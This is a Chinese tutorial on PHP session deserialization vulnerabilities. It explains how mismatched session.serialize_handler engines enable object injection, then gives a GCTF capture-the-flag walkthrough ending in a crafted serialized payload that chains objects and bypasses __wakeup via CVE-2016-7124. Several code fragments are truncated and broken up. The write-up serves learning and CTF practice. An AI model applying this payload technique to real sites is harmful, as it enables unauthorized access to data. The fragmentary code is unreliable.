在PHP.ini中存在三项配置项：
rush:
PHP;">
session.save_path="" --设置session的存储路径
session.save_handler="" --设定
用户自定义存储
函数，如果想使用
PHP内置会话存储机制之外的可以使用本
函数(
数据库等方式)
session.auto_start boolen --指定会话模块是否在请求开始时启动
一个会话,
默认为0不启动
session.serialize_handler string --定义用来序列化/反序列化的处理器名字。
默认使用
PHP
以上的选项就是与PHP中的Session存储和序列话存储有关的选项。
在使用xampp组件安装中，上述的配置项的设置如下：
rush:
PHP;">
session.save_path="D:\xampp\tmp" 表明所有的session
文件都是存储在xampp/tmp下
session.save_handler=files 表明session是以
文件的方式来进行存储的
session.auto_start=0 表明
默认不启动session
session.serialize_handler=
PHP 表明session的
默认序列话引擎使用的是
PHP序列话引擎
在上述的配置中，session.serialize_handler是用来设置session的序列话引擎的，除了默认的PHP引擎之外，还存在其他引擎，不同的引擎所对应的session的存储方式不相同。
PHP_binary:存储方式是，键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
PHP:存储方式是，键名+竖线+经过serialize()函数序列处理的值
PHP_serialize(PHP>5.5.4):存储方式是，经过serialize()函数序列化处理的值
在PHP中默认使用的是PHP引擎，如果要修改为其他的引擎，只需要添加代码ini_set('session.serialize_handler','需要设置的引擎');。示例代码如下：
session 的目录在 /var/lib/PHP/sessions 中
rush:
PHP;">
PHP
ini_set('session.serialize_handler','
PHP_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump($_SESSION);
在 PHP_serialize 引擎下，session文件中存储的数据为:
rush:
PHP;">
a:1:{s:4:"name";s:6:"spoock";}
PHP 引擎下文件内容为:
rush:
PHP;">
name|s:6:"spoock";
PHP_binary 引擎下文件内容为:
rush:
PHP;">
names:6:"spoock";
由于name的长度是4，4在ASCII表中对应的就是EOT。根据PHP_binary的存储规则，最后就是names:6:"spoock";。(突然发现ASCII的值为4的字符无法在网页上面显示，这个大家自行去查ASCII表吧)
PHP Session中的序列化危害
PHP中的Session的实现是没有的问题，危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样，会导致数据无法正确第反序列化。通过精心构造的数据包，就可以绕过程序的验证或者是执行一些系统的方法。例如:
rush:
PHP;">
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
PHP文件如:
rush:
PHP;">
PHP
ini_set('session.serialize_handler','
PHP_serialize');
session_start();
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
访问后得到session文件中的内容如下：
rush:
PHP;">
root/var/lib/
PHP/sessions cat sess_e07gghbkcm0etit02bkjlbhac6
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}
但此时模拟在其他页面使用不同的PHP引擎来读取时的内容如下：(默认使用PHP引擎读取session文件)
rush:
PHP;">
a;
}
}
// var_dump($_SESSION);
访问该页面输出xx
object(A)#1 (1) {
["a"]=>
string(2) "xx"
}
}
这是因为当使用PHP引擎的时候，PHP引擎会以|作为作为key和value的分隔符，那么就会将 a:1:{s:4:"ryat";s:30:" 作为SESSION的key，将 O:1:"A":1:{s:1:"a";s:2:"xx";} 作为value，然后进行反序列化，最后就会得到A这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。漏洞在加载使用PHP引擎的页面时session去读session中的内容并反序列化导致漏洞触发，不需要任何输出
GCTF上的一道session反序列化漏洞分析:
index.PHP中内容为:
rush:
PHP;">
<a href="https://www.jb51.cc/tag/daima/" target="_blank" class="keywords">代码</a>审计2
在PHP中，经常会使用序列化操作来存取数据，但是在序列化的过程中如果处理不当会带来一些安全隐患。
query.PHP 中的内容为:
username == $USERNAME && $this->password == $PASSWORD){ //抱歉
$this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
return 'key is:{'.$this->token.'}';
}
}
}
class TOPB{
public $obj;
public $attr;
function __construct(){
$this->attr = null;
$this->obj = null;
}
function __toString(){
$this->obj = unserialize($this->attr);
$this->obj->token = $FLAG;
if($this->obj->token === $this->obj->ticket){
return (string)$this->obj;
}
}
}
class TOPC{
public $obj;
public $attr;
function __wakeup(){
$this->attr = null;
$this->obj = null;
}
function __destruct(){
echo $this->attr;
}
}
*/
思路如下:
这题中我们构造一个TOPC，在析构的时候则会调用echo $this->attr;；
将attr赋值为TOPB对象，在echo TOPB的时候会自动调用__tostring魔术方法
在__tostring中会调用unserialize($this->attr),因为后面用到token和ticket，所以显然时TOPA对象。后面判断需要$this->obj->token === $this->obj->ticket,所以在序列化的时候进行指针引用使$a->ticket = &$a->token;，即可绕过判断。
至于为什么(string)$this->obj会输出flag，后台写的login可能是__tostring吧。
其中反序列化字符串中会有一个__wakeup()函数清空里面的参数，我问可以通过一个cve来绕过：CVE-2016-7124。将Object中表示数量的字段改成比实际字段大的值即可绕过wakeup函数。
最后的代码为:
username = 0;
$testa->password = 0;
$testa->ticket = &$testa->token;
$sa = serialize($testa);
$testc->attr = $testb;
$testb->attr = $sa;
$test = serialize($testc);
echo $test;
最终payload为:
rush:
PHP;">
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
以上所述是小编给大家介绍的PHP的session反序列化漏洞，希望对大家有所帮助。程序员遇到问题都会上（编程之家jb51.cc）查找问题解答方法！如果觉得站点还不错，随手转发给程序员朋友一下！
